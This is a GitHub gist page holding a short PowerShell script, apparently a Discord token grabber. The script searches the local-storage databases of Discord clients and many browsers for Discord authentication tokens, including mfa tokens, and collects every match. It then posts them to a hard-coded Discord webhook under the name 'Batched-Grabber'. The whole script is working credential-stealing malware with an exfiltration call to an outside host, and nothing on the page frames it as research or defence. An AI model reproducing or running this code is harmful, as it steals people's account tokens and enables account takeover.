Created
September 19, 2022 20:35
-
-
Save Spaceish/dd9d4fd7c1ce42b5055ffa7815072b6a to your computer and use it in GitHub Desktop.
sw
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$hook = "https://discord.com/api/webhooks/1019255104551006269/NEHY5OWUR-iPcCLK259B3KKEgnG16hi0GgyvftthQ4GZdv4RtJdHARvoPzEICWMWVNH-" | |
$token = new-object System.Collections.Specialized.StringCollection | |
$db_path = @( | |
$env:APPDATA + "\Discord\Local Storage\leveldb" | |
$env:APPDATA + "\Roaming\Discord\Local Storage\leveldb" | |
$env:APPDATA + "\Roaming\Lightcord\Local Storage\leveldb" | |
$env:APPDATA + "\Roaming\discordptb\Local Storage\leveldb" | |
$env:APPDATA + "\Roaming\discordcanary\Local Storage\leveldb" | |
$env:APPDATA + "\Roaming\Opera Software\Opera Stable\Local Storage\leveldb" | |
$env:APPDATA + "\Roaming\Opera Software\Opera GX Stable\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Amigo\User Data\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Torch\User Data\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Kometa\User Data\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Orbitum\User Data\Local Storage\leveldb" | |
$env:APPDATA + "\Local\CentBrowser\User Data\Local Storage\leveldb" | |
$env:APPDATA + "\Local\7Star\7Star\User Data\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Sputnik\Sputnik\User Data\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Vivaldi\User Data\Default\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Google\Chrome SxS\User Data\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Epic Privacy Browser\User Data\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Google\Chrome\User Data\Default\Local Storage\leveldb" | |
$env:APPDATA + "\Local\uCozMedia\Uran\User Data\Default\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Yandex\YandexBrowser\User Data\Default\Local Storage\leveldb" | |
$env:APPDATA + "\Local\Opera Software\Opera Neon\User Data\Default\Local Storage\leveldb" | |
$env:APPDATA + "\Local\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" | |
) | |
foreach ($path in $db_path) { | |
if (Test-Path $path) { | |
foreach ($file in Get-ChildItem -Path $path -Name) { | |
$data = Get-Content -Path "$($path)\$($file)" | |
$regex = [regex] "[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}" | |
$match = $regex.Match($data) | |
while ($match.Success) { | |
if (!$token.Contains($match.Value)) { | |
$token.Add($match.Value) ^| out-null | |
} | |
$match = $match.NextMatch() | |
} | |
} | |
} | |
} | |
$content = ">>> ||@everyone|| **New kid have been get Batched :joy:** ``` " | |
foreach ($data in $token) { | |
$content = [string]::Concat($content, "`n", $data) | |
} | |
$content = [string]::Concat($content, "``` ") | |
$JSON = @{ "content"= $content; "username"= "Batched-Grabber"; "avatar_url"= "https://pbs.twimg.com/profile_images/570659130277257216/mteWqFUF_400x400.png" } ^| convertto-json | |
Invoke-WebRequest -uri $hook -Method POST -Body $JSON -Headers @{"Content-Type" = "application/json"} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment